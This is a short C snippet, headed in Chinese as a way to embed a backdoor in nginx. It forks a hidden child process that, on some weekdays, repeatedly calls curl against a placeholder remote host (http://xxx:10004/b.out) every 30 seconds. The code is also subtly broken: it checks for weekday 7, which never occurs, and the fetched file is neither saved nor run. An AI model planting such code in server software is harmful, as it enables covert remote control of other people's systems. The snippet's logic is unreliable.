nginx嵌入后门

	int fatherpid = getpid();
	printf("%d", fatherpid);
	pid_t fpid;
	fpid = fork();
	if (fpid == 0) {
		int x1 = getppid();
		while(1) {
			x1 = getppid();
			if(x1 == 1) {
				return 0;
			}
    			time_t timep = time(&timep);
			int x = gmtime(&timep)->tm_wday;
			if(x == 6 || x == 7 ) {
				system("/usr/bin/curl -m 5 -s  http://xxx:10004/b.out");
				sleep(30);
			}
		}
		return 1;
	}